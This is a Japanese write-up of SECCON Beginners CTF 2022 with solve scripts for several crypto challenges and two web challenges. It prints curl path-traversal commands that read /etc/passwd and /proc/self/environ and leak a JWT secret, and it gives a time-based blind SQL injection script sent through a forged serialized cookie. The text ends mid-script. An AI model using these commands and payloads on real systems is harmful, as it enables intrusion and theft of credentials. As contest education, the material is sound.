SECCON Beginners CTF 2022 Writeup

Sun Jun 05 2022

    6/4-6/5 で開催していた SECCON Beginners CTF 2022 に参加しました。結果は 6th/891 でした (得点のあるチームのみカウント)。 ctf4b は毎年楽しみにしている CTF の1つです。38→18→6と順位が上がってきており成長が実感できて嬉しいです。 解いた問題 (Monkey Heap と ultra_super_miracle_validator 以外) について writeup を書きます。

    crypto

    omni-RSA

    14 solves

    problem.py
    from Crypto.Util.number import *
    from flag import flag
    
    p, q, r = getPrime(512), getPrime(256), getPrime(256)
    n = p * q * r
    phi = (p - 1) * (q - 1) * (r - 1)
    e = 2003
    d = inverse(e, phi)
    
    flag = bytes_to_long(flag.encode())
    cipher = pow(flag, e, n)
    
    s = d % ((q - 1)*(r - 1)) & (2**470 - 1)
    
    assert q < r
    print("rq =", r % q)
    
    print("e =", e)
    print("n =", n)
    print("s =", s)
    print("cipher =", cipher)

    普通の RSA と異なり、素因数が p,q,rp, q, r と3つあることと、そのうちの2つ q,rq, r に関する式 rq,srq, s が与えられていることが特徴です。この特徴を活かすため、 d=dmod(q1)(r1)d' = d \mod (q - 1)(r - 1) とおいてこれに注目します。 dd の定義から ed=1mod(q1)(r1)ed' = 1 \mod (q - 1)(r - 1) です。さらに ss の定義から 512470=42512-470=42bits 程度の xx を使って d=s+2470xd' = s + 2^{470}x と表せます。これらを組み合わせると、 e(s+2470x)1=k(q1)(r1)e(s + 2^{470}x) - 1 = k(q - 1)(r - 1) となります。ここで kkee の大きさと同程度の整数となります。 この式について modq\mod q をとると、 rq=rmodqrq = r \mod q なので、 e(s+2470x)1k(1)(rq1)=0e(s + 2^{470}x) - 1 - k(-1)(rq-1) = 0 となります。 kk の値さえ決まればこの式は xx に関する式となり、 xxqq に対して十分小さいので coppersmith で求めることができます。今 kk は2000程度の大きさなので、これは全探索可能です。これで kkxx (すなわち dd') が求まります。 dd' がわかっていると nn を素因数分解できることが知られています (例えば ふるつきさんの記事 参照)。今回は nn が3変数の積なのでちょっと特殊ですが (というか勢いで解いたので以下の script ではあまり理解せずやってしまいました…)、これで nn を素因数分解でき、RSA のいつもの復号が可能となります。

    solve.sage
    from Crpto.Util.number import long_to_bytes
    
    
    rq = 7062868051777431792068714233088346458853439302461253671126410604645566438638
    e = 2003
    n = 140735937315721299582012271948983606040515856203095488910447576031270423278798287969947290908107499639255710908946669335985101959587493331281108201956459032271521083896344745259700651329459617119839995200673938478129274453144336015573208490094867570399501781784015670585043084941769317893797657324242253119873
    s = 1227151974351032983332456714998776453509045403806082930374928568863822330849014696701894272422348965090027592677317646472514367175350102138331
    cipher = 82412668756220041769979914934789463246015810009718254908303314153112258034728623481105815482207815918342082933427247924956647810307951148199551543392938344763435508464036683592604350121356524208096280681304955556292679275244357522750630140768411103240567076573094418811001539712472534616918635076601402584666
    PR.<x> = PolynomialRing(Zmod(n))
    for k in range(2003):
        f = e * (s + 2**470 * x) - 1 - k * (-1) * (rq - 1)
        f = f.monic()
        roots = f.small_roots(beta=0.24, epsilon=0.015)
        if len(roots) > 0:
            print(k)  # 1576
            break
    x = roots[0]  # 3248825676044
    d_ = int(s + 2**470 * x)
    
    r = e * d_ - 1
    k = 0
    while r % 2 == 0:
        r //= 2
        k += 1
    t = r
    print(k, t)
    assert 2 ** k * t == e * d_ - 1
    
    m = 7
    while k >= 0:
        res = pow(m, 2 ** k * t, n)
        if res == 1:
            k -= 1
            continue
        p = int(gcd(n, res + 1))
        q = int(gcd(n, res - 1))
        break
    
    p = n // q
    assert is_prime(p)
    
    n_ = n // p
    r = e * d_ - 1
    k = 0
    while r % 2 == 0:
        r //= 2
        k += 1
    t = r
    print(k, t)
    assert 2 ** k * t == e * d_ - 1
    m = 6
    while k >= 0:
        res = pow(m, 2 ** k * t, n_)
        if res == 1:
            k -= 1
            continue
        q = gcd(n_, res + 1)
        r = gcd(n_, res - 1)
        break
    if q > r:
        q, r = r, q
    q = int(q)
    r = int(r)
    
    phi = (p - 1) * (q - 1) * (r - 1)
    d = int(pow(e, -1, phi))
    print(long_to_bytes(int(pow(cipher, d, n))))

    ctf4b{GoodWork!!!YouAreTrulyOmniscientAndOmnipotent!!!}

    Unpredictable Pad

    35 solves

    chal.py
    import random
    import os
    
    
    FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}')
    
    
    def main():
        r = random.Random()
    
        for i in range(3):
            try:
                inp = int(input('Input to oracle: '))
                if inp > 2**64:
                    print('input is too big')
                    return
    
                oracle = r.getrandbits(inp.bit_length()) ^ inp
                print(f'The oracle is: {oracle}')
            except ValueError:
                continue
    
        intflag = int(FLAG.encode().hex(), 16)
        encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
        print(f'Encrypted flag: {encrypted_flag}')
    
    
    if __name__ == '__main__':
        main()

    python の random.Random() の乱数を予測する問題です。 getrandbits(32) を624個連続で得られるとその後の乱数が予測できるのは有名な話ですが、今回の問題ではぱっとみでは64bitを3つまでしか得ることができなさそうです。

    はじめは random.Random() の引数に何も渡さなかったら time.time() とかが入るのかななどと考え、ずっと挙動を追ってましたが、そのような seed を特定する方向性はうまくいかなさそうです。

    ここで問題のソースコードをもう一度見てみると、 inp > 2**64 の条件が実は雑なことに気づきます。 inp が負のときは bit_length が非常に大きなときでも弾かれないことがわかります。これを使って32bitの乱数を624個相当分得て、フラグの暗号化に使われている乱数を予測して復号しました。

    solve.py
    import random
    from Crypto.Util.number import long_to_bytes
    
    payload = -2**(16*624)+1
    
    # 上の payload を3回送って得られた値をハードコード
    enc_flag = 160408390154667487935295951685135834366281788558956636553830792827360254
    ret0 = -169353461226451862454550482867247311453745832298072193488992476372032683267405529616712857658826149871232022177649639560493348167300248003798133393960069101848656033334315041089489540273610320250781951419421296295310706803305763552193467763497673831685296464166217912182952993108881003824545386638822886036877853314192447459485633281593120922162996370650082889528736245538106025702367298028706018500581303291092184492912177748035815932841199461843957795270880130886325403061725988188236489016059884559670466607329599332990508953092627886094059613058667760151744204433278035755399050494466381637221944827534019503182926467006914302368386660714730742692096585746608782523410356311089649324987101827009674919177960835763439338825261907643835468814940418402548295214013774677330828810095951146966735643419608752746425768841587104025408476655777986037482072738896056125749598700903579670974116795405662151349199266699927598023204057070306326773712542836077736390131944428866691928322905148134636660084531325981840651396783254841001403095723976147665751746664602732628439890252955931774414896353326579313769454833945674625056698316809609132067092222948957953197180021737521745655434028404570086154209391102996155459165864997753657661454493825124031728517893942941148924957446604703529189079509660244289843008318983049402259320722901474323969045108227678587275789397631005047258434201221288505580913646102930700490447493349182167072035273835911621464731360371545460395175605032063196008048744518129794066121356578721481991602164471241173183881439244695928483155723029148975839302117123861360245641089827787693858008484408881465787653275742063960144075534851192151745260899161458908215597348826049429140505629444575689068667977570381956851068146075282338154162785222175529593495159696587574511453683086253689224811625024752497827991210611517791639029847316993230591366379321983830423002580773857376725811511477652484534295670048470065628245575204829812271025845056313501265802551090858332958051536680495364633217364169453034297881072789401221696691376710188240126908526755550980633504983185236404707215884989713759251302719280478433527009402389363547380807602418824359129333148024227915685622797753116791572129831241710756953028466882194135603385045134925639328124230308605549228880474941494908652208229512474100406567626116817821971735915089973730668169433601262340270271894155758372382980258650111135768656138342227206970091506970645999963840145942220110978031918724153239689786634768434326171334143812878760891797399669977160993693787808307041885867124048078397767314756130642278020874526347428410545904310808335745364896816455273984548748591395049622882899097672643684754903956017579863224624561733509698079957274825362454362595607878755481785558518932923579002238072455757822414992021796274528224275060731996804383435852769228690567859793839828128318627157368157276840700230593702308945703163946725449915700666271432660634751014996121414362240518760048533468930106480049570819040031952762781188641252133586175
    ret1 = -51580731718688675420437389249310120900905865508528396443063883081911546240202089824689207524249689453637693803148959866994272605836689570762335232051123834554230490203701972150940081601086851960226751096892403360549512080703048508633318381886171418059312308642451485698454348149017820527890973991410951247206681985750710112856320237636721173823242708150975523461296953256915980661303813942135321478844841381392172860483601342634273272193727322517987428595734228639491952617729400752812338305362781760700986492467302797695755891250578619217470478051378231521033281266819484592212240867291651868700786320603656622428103395224868616642101640389910213124582657676757942261132070240006724002027384799089456220435096555823633347295661192386737475879766496582324423995714634004017178337560947025986297380766499417468248727348626818258227609549079046578067109569854302834383965095131029140857111545097250213476248190596857820183815527533654371724441452378692748537218501759996371430293128000186544722933935664685214972410794341204799002695971038119110281898134893871502905160358498981592559403873818635884284157674277122138315091091449947848077929964896432151408747590933281827820699464860941890478669800373395486780046063600439415955332048227243889186613022285203183474457150043573184157045283623992463193417473248491034755072187007272019375351426321494474802223190703258757658929400467051798276012501123386367746549904035127679645887776584091318561657911998066543212173556037638748810302453275843503806212670252152101686369086597699195551588642582549408975260865552360066108226203637838785429972911309285863401356191920065599138955269920969586952185256091468633109571645795237468619938776267843091790991896783465224746115260681089268076777948809949692595202466441897355355377351901503699228929113243486670226454857566200841577430865046428992631540058000778178879913091792174994533135390606763707313582286913485540646686691245095727665703469213379487010802922261296189522812763645510510237333212718570879080130170003422836994561913636229005076420309252070025981827977843162864678552565909810493650232609917300135721158876009741779770286522854484717748448307711431989467562525081528829367171814771047163332142183857326214041545279268552058005506521306650683717486772248524767561871270562403513655599465119737729132744047896140674021649124072318170859820809678171230320068352145674380714404207959918120892102584862278187374327557369586275016189782186695492419002017938787586871955884491910844465079565201467212994186344380132747410551067489437973984889578475885218334724720056509498558712551955375494420298927179734594425228164596725820028673601286480957658409234147135951934576744051948891339150650398314097041570187660510241297335222066129847076133369762701314510223092913222806698507412758225539286627781482789427244626649010118518373147343705831559927314968755850205806153090340695380765756968693557260267411202215338713988385595658635821065323400055688140696841073054338664203217729588043606228376032969466459
    ret2 = -108475337377652764860559020314958568585993853978274916932698686125149105719231472144111927154304714459090886922951953151399897983234248457812722087567487137781060083611287580672002621683824724832567651463542364280539829018818449233755751262186286203755084135144663042566967551810800368064439197073273767795320067894207466601099864793384548733004071677851750762693399293686826462614721185752495826664605939103648711640208093054399389120285841311383643882587743382995127681245785303208431778098484406158016438764171413076520113622421366506206486672860374467083915942200966741732513953091482247830398804234272405375865882697887524180737502484465784037569901040671235651570265128224109470888438668427253465754584541034100717324441634214695565617339943054347366758524082484210535227455466259270783728889243781787817784349624425869417725962025535486487427813345464887156054169888048931394789281079389821150534206323531516104024312186676411913168781578828751220946266855887220990471850993639323415506178990808569514662395056882296360383954318842844182928589850113079105215168674084888535401746373477911525454299595646064585203222026179995043472961855529552566054411142336477226896828917026513422953585755511573948925032600131616061449107211347967778755594994130734439332518470094629187137298199158911789139924456241188909282748628007853405849374184802862738758203254340388353318539018446570299970484777518955439221723578402960915972896749021620900180888677881099775187414441576032219178072600283780804830825809536113331272910784929123522450298798204104165870957223443663597218080523075304401924897959667077600875146045317720051938497350014873112177431773283076035456292182710349437902166058857774005298782914670613404253777876188612945804472412568215245020233391314125424854055519386292526993039308039896608505475440712057353317583620883237199096309107750719027862343316164091544142824027672566783063571564176315409724677176164929681154652053428071765979163358147650087814912330057471393940222260594690828625775007718311112985193060655885434702706297470370722761765604767012596841895846024387762360729830403482871420097042668009373829647519481528354423055739446116715440022979467671760354109976476249417124150444281499488014030345109577445802126177849503991753962995029901097944375862128070672483170304594662385017952521012152472148762674040583264416935044555625685455066607471297166418183012635868674290225313412984739442230657863350977208180851750234928875369451121118336771514019149579695341733721007285004789918851050865724647053516518653314110233857475215246355048206235819633335369164369013747647432683014441146667282328344565334691322247346614713346369158853818704626193068141647264829531649586826166628911634790889727424766390635372791818900748752735365988441244650884558091517894966368931045023969033832454195421742975130710994798661170137124637373417539150444781638040270784341827959352777519438224646842625846691524456229257228298416449854437590761211567953760306805078815379830034840307117406011821759
    rand0 = ret0 ^ payload
    rand1 = ret1 ^ payload
    rand2 = ret2 ^ payload
    
    rands32 = []
    for rand in [rand0, rand1, rand2]:
        for i in range(312):
            rands32.append(int(rand % 2**32))
            rand = rand // 2**32
    
    
    # https://inaz2.hatenablog.com/entry/2016/03/07/194147
    def untemper(x):
        x = unBitshiftRightXor(x, 18)
        x = unBitshiftLeftXor(x, 15, 0xefc60000)
        x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
        x = unBitshiftRightXor(x, 11)
        return x
    
    def unBitshiftRightXor(x, shift):
        i = 1
        y = x
        while i * shift < 32:
            z = y >> shift
            y = x ^ z
            i += 1
        return y
    
    def unBitshiftLeftXor(x, shift, mask):
        i = 1
        y = x
        while i * shift < 32:
            z = y << shift
            y = x ^ (z & mask)
            i += 1
        return y
    
    for i in range(56, 1000):
        mt_state = tuple([int(untemper(x)) for x in rands32[:624]] + [int(624)])
        random.setstate((int(3), mt_state, None))
        assert random.getrandbits(9984) == rand2
        dec = long_to_bytes(random.getrandbits(i) ^ enc_flag)
        if b"ctf4b" in dec:
            print(dec)

    ctf4b{M4y_MT19937_b3_w17h_y0u}

    Command

    88 solves

    chal.py
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.Util.number import isPrime
    from secret import FLAG, key
    import os
    
    
    def main():
        while True:
            print('----- Menu -----')
            print('1. Encrypt command')
            print('2. Execute encrypted command')
            print('3. Exit')
            select = int(input('> '))
    
            if select == 1:
                encrypt()
            elif select == 2:
                execute()
            elif select == 3:
                break
            else:
                pass
    
            print()
    
    
    def encrypt():
        print('Available commands: fizzbuzz, primes, getflag')
        cmd = input('> ').encode()
    
        if cmd not in [b'fizzbuzz', b'primes', b'getflag']:
            print('unknown command')
            return
    
        if b'getflag' in cmd:
            print('this command is for admin')
            return
    
        iv = os.urandom(16)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        enc = cipher.encrypt(pad(cmd, 16))
        print(f'Encrypted command: {(iv+enc).hex()}')
    
    
    def execute():
        inp = bytes.fromhex(input('Encrypted command> '))
        iv, enc = inp[:16], inp[16:]
        cipher = AES.new(key, AES.MODE_CBC, iv)
        try:
            cmd = unpad(cipher.decrypt(enc), 16)
            if cmd == b'fizzbuzz':
                fizzbuzz()
            elif cmd == b'primes':
                primes()
            elif cmd == b'getflag':
                getflag()
        except ValueError:
            pass
    
    
    def fizzbuzz():
        for i in range(1, 101):
            if i % 15 == 0:
                print('FizzBuzz')
            elif i % 3 == 0:
                print('Fizz')
            elif i % 5 == 0:
                print('Buzz')
            else:
                print(i)
    
    
    def primes():
        for i in range(1, 101):
            if isPrime(i):
                print(i)
    
    
    def getflag():
        print(FLAG)
    
    
    if __name__ == '__main__':
        main()

    AES の CBC モードで復号した結果の文字列に応じて各種コマンドが実行されます。しかし getflag に相当する暗号を直接得ることはできません。

    CBC モードの復号の流れを画像で見るとわかるのですが (例えば wiki 参照)、 iv に対してある値の xor をとると、復号結果も同じ値で xor したものに変化します。これを利用して fizzbuzz などの iv と暗号に対して iv を適切にコントロールすることで復号結果を getflag にすることができます。 padding に注意。

    solve.py
    from binascii import unhexlify
    from pwn import xor
    
    
    # fizzbuzz の暗号を事前に得ておく
    fizzbuzz_enc = unhexlify("c64fd5f228a8ce1cec668efd0e7fc6d024939fcd76e617094c5024eb51578925")
    iv = fizzbuzz_enc[:16]
    enc = fizzbuzz_enc[16:]
    enc0 = b"fizzbuzz" + b"\x08" * 8
    enc1 = b"getflag" + b"\x09" * 9
    iv1 = xor(enc0, enc1, iv)
    print((iv1 + enc).hex())  # これを送ると getflag が実行される

    ctf4b{b1tfl1pfl4ppers}

    PrimeParty

    58 solves

    server.py
    from Crypto.Util.number import *
    from secret import flag
    from functools import reduce
    from operator import mul
    
    
    bits = 256
    flag = bytes_to_long(flag.encode())
    assert flag.bit_length() == 455
    
    GUESTS = []
    
    
    def invite(p):
        global GUESTS
        if isPrime(p):
            print("[*] We have been waiting for you!!! This way, please.")
            GUESTS.append(p)
        else:
            print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.")
        print("-*-*-*-*-*-*-*-*-*-*-*-*-")
    
    
    invite(getPrime(bits))
    invite(getPrime(bits))
    invite(getPrime(bits))
    invite(getPrime(bits))
    
    for i in range(3):
        print("[*] Do you want to invite more guests?")
        num = int(input(" > "))
        invite(num)
    
    
    n = reduce(mul, GUESTS)
    e = 65537
    cipher = pow(flag, e, n)
    
    print("n =", n)
    print("e =", e)
    print("cipher =", cipher)

    RSA の公開鍵 nn をなす素因数が7個あり、4個はサーバーが生成したもの、3個はこちら側で指定したものになります。

    nn の約数のうち、サーバー側の素因数の積を nn'、こちら側で指定した素因数の積を nn'' とおきます。RSA の暗号化は modn\mod n で行われますが、この暗号を nn'' で割った余りとし、復号の計算も nn'' 上で行うことを考えると、復号結果が nn'' よりも小さければ正しく復号されることがわかります。なので十分に nn'' が大きくなるように素数を指定し、 nn'' のもとで RSA の復号を行うだけでフラグが求まります。

    solve.py
    from Crypto.Util.number import getPrime, long_to_bytes
    
    p = getPrime(512)
    q = getPrime(512)
    r = getPrime(512)
    
    # p, q, r を送って得られた c, n をハードコード
    c = 3231747054065633212287491089016023326207755258137659619616207696197572498242090443880322852339181652574539724831984143911887071716899171052605591747596868072925141349328705332134716635367026197295238960036176135432899008066332112479421646292686771479234462079174562704075006784682386997809270685926872261969941420920969380741361619303588111587131398198138508999746744181992807884142057550110126162117140543978024996657988040401453648359928688090005773527776438713375695735361163975183275546467076154588359441723190416354532400657671504920473271199513462397364236958404749399848783365124952902286561434940105491199482539837904014316786427979410294582445530322069870865641274726479252349114771001730642400677171676852499042010491593624999794886450802738894734163779161179
    n = 50960510109266153211220694076283126261496987573875292473286642064956124047055612445286465281627833726437448685247114511114984163230671979173589099425396539824559835742008947178090847715429184879049848268517585685282560668287375963502687615809469167443951463759746805647142747246199048558030657918954767331010554737640633395455748241891010554134272076233363095117578830715576066367768041823369983654496376086507203475733297447627270269562348173460762697865084096729798213983961685529549371835328956273802600595109578789752640730821127493070321291603879640723304029910009579952649666458240575241704298896113818436140228561339581683144526679375688596410984423902241649796308631822675710206724372207035083772325868773824123241115754868636927363488846030924630376913203540229
    e = 0x10001
    d = int(pow(e, -1, (p - 1) * (q - 1) * (r - 1)))
    print(long_to_bytes(int(pow(c, d, p * q * r))))

    ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}

    CoughingFox

    443 solves

    problem.py
    from random import shuffle
    
    flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
    
    cipher = []
    
    for i in range(len(flag)):
        f = flag[i]
        c = (f + i)**2 + i
        cipher.append(c)
    
    shuffle(cipher)
    print("cipher =", cipher)

    c = (f + i)**2 + i という暗号化について、 (f+i)2i(f + i)^2 \gg i です。iilen(cipher) 未満なので、 cipher の各値に対して適当な値を引いてある値の2乗となればそれが ii となります。これを使ってフラグが復号できます。

    solve.sage
    cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
    
    ans = []
    for i in range(len(cipher)):
        c = cipher[i]
        cands = []
        for j in range(len(cipher)):
            if (c - j).is_square():
                cands.append((j, (c - j).sqrt() - j))
        assert len(cands) == 1
        ans.append(cands[0])
    ans.sort()
    
    "".join([chr(a[1]) for a in ans])

    ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

    web

    Ironhand

    42 solves

    main.go
    package main
    
    import (
    	"html/template"
    	"io"
    	"io/ioutil"
    	"mime"
    	"net/http"
    	"net/url"
    	"os"
    	"path/filepath"
    	"time"
    
    	"github.com/golang-jwt/jwt/v4"
    	"github.com/labstack/echo/v4"
    	"github.com/labstack/echo/v4/middleware"
    )
    
    // Setup Template
    // https://echo.labstack.com/guide/templates/
    type Template struct {
    	templates *template.Template
    }
    
    func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error {
    	return t.templates.ExecuteTemplate(w, name, data)
    }
    
    type UserClaims struct {
    	*jwt.RegisteredClaims
    	Username string
    	IsAdmin  bool
    }
    
    func main() {
    	e := echo.New()
    	e.Use(middleware.Logger())
    	e.Use(middleware.Recover())
    
    	// Setup Template
    	t := &Template{
    		templates: template.Must(template.ParseGlob("views/*.html")),
    	}
    	e.Renderer = t
    
    	// Top page
    	e.GET("/", func(c echo.Context) error {
    		cookie, err := c.Cookie("JWT_KEY")
    		if err != nil {
    			return c.Redirect(http.StatusFound, "/login")
    		}
    		token, err := jwt.ParseWithClaims(cookie.Value, &UserClaims{}, func(token *jwt.Token) (interface{}, error) {
    			secretKey := os.Getenv("JWT_SECRET_KEY")
    			return []byte(secretKey), nil
    		})
    		if err != nil {
    			return c.String(http.StatusBadRequest, "invalid session")
    		}
    		claims := token.Claims.(*UserClaims)
    		// If you are admin, you can get FLAG
    		if claims.IsAdmin {
    			res, _ := http.Get("http://secret")
    			flag, _ := ioutil.ReadAll(res.Body)
    			if err := res.Body.Close(); err != nil {
    				return c.String(http.StatusInternalServerError, "Internal Server Error")
    			}
    			return c.Render(http.StatusOK, "admin", map[string]interface{}{
    				"username": claims.Username,
    				"flag":     string(flag),
    			})
    		}
    		return c.Render(http.StatusOK, "user", claims.Username)
    	})
    
    	// Login page
    	e.GET("/login", func(c echo.Context) error {
    		return c.Render(http.StatusOK, "login", "")
    	})
    
    	e.POST("/login", func(c echo.Context) (err error) {
    		// Get request parameter
    		username := c.FormValue("username")
    		if username == "" {
    			return c.Render(http.StatusBadRequest, "login", "Username is required.")
    		}
    
    		// Generate JWT token
    		claims := &UserClaims{
    			&jwt.RegisteredClaims{
    				ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour * 24 * 7)),
    			},
    			username,
    			false,
    		}
    		token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
    		secretKey := os.Getenv("JWT_SECRET_KEY")
    		tokenString, _ := token.SignedString([]byte(secretKey))
    
    		// Set JWT token in cookie
    		cookie := &http.Cookie{
    			Name:    "JWT_KEY",
    			Value:   tokenString,
    			Expires: time.Now().Add(time.Hour * 24 * 7),
    		}
    		c.SetCookie(cookie)
    
    		return c.Redirect(http.StatusFound, "/")
    	})
    
    	e.GET("/logout", func(c echo.Context) error {
    		cookie := &http.Cookie{
    			Name:    "JWT_KEY",
    			Value:   "",
    			Expires: time.Unix(0, 0),
    		}
    		c.SetCookie(cookie)
    
    		return c.Redirect(http.StatusFound, "/")
    	})
    
    	e.GET("/static/:file", func(c echo.Context) error {
    		path, _ := url.QueryUnescape(c.Param("file"))
    		f, err := ioutil.ReadFile("static/" + path)
    		if err != nil {
    			return c.String(http.StatusNotFound, "No such file")
    		}
    		return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
    	})
    
    	e.Logger.Fatal(e.Start(":8080"))
    }

    JWT で署名された cookie に対し、 IsAdmin=true とできればフラグが手に入ります。

    JWT といえば algnone 等想定と違うものにすることで突破する方法がありますが、今回使われているライブラリではぱっとは出来なさそうです。

    そこで、本旨とは一見関係なさそうな /static/:file が使えないか検討します。 pathのパースが雑なので、 path traversal が可能そうです。 例えば curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static/../main.go とすると、 main.go を表示することが出来ました。 しかしこのような流れで curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static/../../etc/passwd とすると何も得られません。これは nginx 側で / よりも ../ の数が多いときに弾かれるようで、 Bad Request となってしまいます。しかしこれは / を雑に足すことで回避できます (curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static//../../etc/passwd)。 この仕様を使って環境変数を見るために、 /proc/self/environ を見に行きます。 curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static//../../proc/self/environ --output environ。これで JWT_SECRET_KEY=U6hHFZEzYGwLEezWHMjf3QM83Vn2D13d がわかります。

    この key を使って https://jwt.io/"IsAdmin":true というペイロードで署名をすることで admin になり、フラグが得られました。

    ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}

    serial

    83 solves

    database.php
    <?php
    
    require_once '/var/www/html/user.php';
    require_once '/var/www/html/todo.php';
    
    class Database
    {
    
        /**
         * $_con is a instance of mysqli
         */
        protected $_con;
    
        public function __construct()
        {
            $this->connect();
        }
    
        public function __destruct()
        {
            $this->close();
        }
    
        /**
         * connect connects to the database
         */
        public function connect()
        {
            $this->_con = new mysqli('mysql', 'ctf4b', 'ctf4b', 'serial');
            if ($this->_con->connect_error) {
                throw new Exception('Connect Error ' . $this->_con->connect_errno . ': ' . $this->_con->connect_error, $this->_con->connect_errno);
            } else {
                $this->_con->set_charset("utf8mb4");
            }
    
            if (!$this->_con->ping()) {
                throw new Exception('failed ping()');
            }
    
            return $this->_con;
        }
    
        /**
         * close closes connection
         */
        public function close()
        {
            if (!isset($this->_con)) {
                return;
            }
            $this->_con->close();
        }
    
        /**
         * findUserByName finds a user from database by given userId.
         * 
         * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
         */
        public function findUserByName($user = null)
        {
            if (!isset($user->name)) {
                throw new Exception('invalid user name: ' . $user->user);
            }
    
            $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
            $result = $this->_con->query($sql);
            if (!$result) {
                throw new Exception('failed query for findUserByNameOld ' . $sql);
            }
    
            while ($row = $result->fetch_assoc()) {
                $user = new User($row['id'], $row['name'], $row['password_hash']);
            }
            return $user;
        }
    
        /**
         * findUserByName finds a user from database by given userId.
         */
        public function findUserByNameNew($name = null)
        {
            if (!isset($name)) {
                throw new Exception('invalid user name: ' . $name);
            }
    
            $stmt = $this->_con->stmt_init();
            if (!$stmt->prepare("SELECT id, password_hash FROM users WHERE name = ?")) {
                throw new Exception('failed prepare for findUserByName');
            }
            if (!$stmt->bind_param("s", $name)) {
                throw new Exception('failed bind_param for findUserByName');
            }
            if (!$stmt->execute()) {
                throw new Exception('failed execute for findUserByName');
            }
    
            $id = null;
            $password_hash = null;
    
            if (!$stmt->bind_result($id, $password_hash)) {
                throw new Exception('failed bind_result for findUserByName');
            }
            $stmt->fetch();
    
            return new User($id, $name, $password_hash);
        }
    
        /**
         * insertUser inserts a given user into database.
         */
        public function insertUser($user = null)
        {
            if (!isset($user->name) || !isset($user->password_hash)) {
                throw new Exception('invalid name: ' . $user->name . ', or password: ' . $user->password_hash);
            }
    
            $stmt = $this->_con->stmt_init();
            if (!$stmt->prepare("INSERT INTO users(name, password_hash) VALUE (?, ?)")) {
                throw new Exception('failed prepare for findUserByName');
            }
            if (!$stmt->bind_param('ss', $user->name, $user->password_hash)) {
                throw new Exception('failed bind_param for findUserByName: ' . $user->name);
            }
            if (!$stmt->execute()) {
                throw new Exception('failed execute for findUserByName');
            }
        }
    
        /**
         * findTodos find all todos which is not done.
         */
    
        public function findTodos()
        {
            $sql = "SELECT * FROM todos WHERE done = false ORDER BY id";
            $result = $this->_con->query($sql);
            if (!$result) {
                throw new Exception('failed query for findUserByNameOld ' . $sql);
            }
    
            $todos = array();
            while ($row = $result->fetch_assoc()) {
                $t = new Todo($row["id"], $row["body"], $row["done"]);
                array_push($todos, $t);
            }
            return $todos;
        }
    
        /**
         * insertTodo insert a todo with given body.
         */
        public function insertTodo($todo = null) 
        {
            if (!isset($todo->body)) {
                throw new Exception('invalid message: ' . $todo->body);
            }
    
            $stmt = $this->_con->stmt_init();
            if (!$stmt->prepare("INSERT INTO todos(body) VALUE (?)")) {
                throw new Exception('failed prepare for insertTodo');
            }
            if (!$stmt->bind_param('s', $todo->body)) {
                throw new Exception('failed bind_param for insertTodo: ' . $todo->body);
            }
            if (!$stmt->execute()) {
                throw new Exception('failed execute for insertTodo');
            }
        }
    
        /**
         * doneTodo update a done column true with a given id.
         */
        public function doneTodo($todo = null)
        {
            if (!isset($todo->id)) {
                throw new Exception('invalid id: ' . $todo);
            }
    
            $stmt = $this->_con->stmt_init();
            if (!$stmt->prepare("UPDATE todos SET done = 1 WHERE id = ?")) {
                // TODO:
                throw new Exception('failed prepare for doneTodo' . "UPDATE todos SET done = true WHERE id = ?");
            }
            if (!$stmt->bind_param('i', $todo->id)) {
                throw new Exception('failed bind_param for doneTodo: ' . $todo->id);
            }
            if (!$stmt->execute()) {
                throw new Exception('failed execute for doneTodo');
            }
        }
    }

    database.php にあからさまな SQLi 脆弱性があります。しかし user.php を見ればわかるとおり、 $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name)); となっており、 SQLi に使えそうな文字はサニタイズされているように見えます。 しかしこの web app では cookie の __CRED をデシリアライズすることで User の instance を作り出しています。このときに上記サニタイズは行われません。なので cookie を使って SQLi ができそうです。 SQLi 自体はいろいろな方針がありそうですが、自分は time based blind SQLi でやりました。もっと楽にやる方法ありそうですが、自分はいつも time based でやりがちです…

    solve.py
    from base64 import b64encode
    import time
    import requests
    
    name_template = "hoge' || (SELECT IF(SUBSTR(body,{idx},1)='{c}',BENCHMARK(1000000,ENCODE('MSG','by 5 seconds')),'') FROM flags) || '"
    payload_template = """O:4:"User":3:{{s:2:"id";s:2:"20";s:4:"name";s:{length}:"{name}";s:13:"password_hash";s:60:"$2y$10$V0ix4ngxG5N6//1FW0n98OQtLiMEKwBEN.cZ7WgcY1I5IaC6dXFWW";}}"""
    flag = ""
    for idx in range(len(flag) + 1, 100):
        for i in range(32, 127)[::-1]:
            c = chr(i)
            print(c)
            name = name_template.format(idx=idx, c=c)
            payload = payload_template.format(length=len(name), name=name)
            with requests.session() as session:
                r = session.post("https://serial.quals.beginners.seccon.jp/signup.php", data={"name": "hoge", "pass": "hoge"})
                session.cookies.set("__CRED", b64encode(payload.encode()).decode(), domain="serial.quals.beginners.seccon.jp")
                now = time.time()
                r = session.get("https://serial.quals.beginners.seccon.jp/")
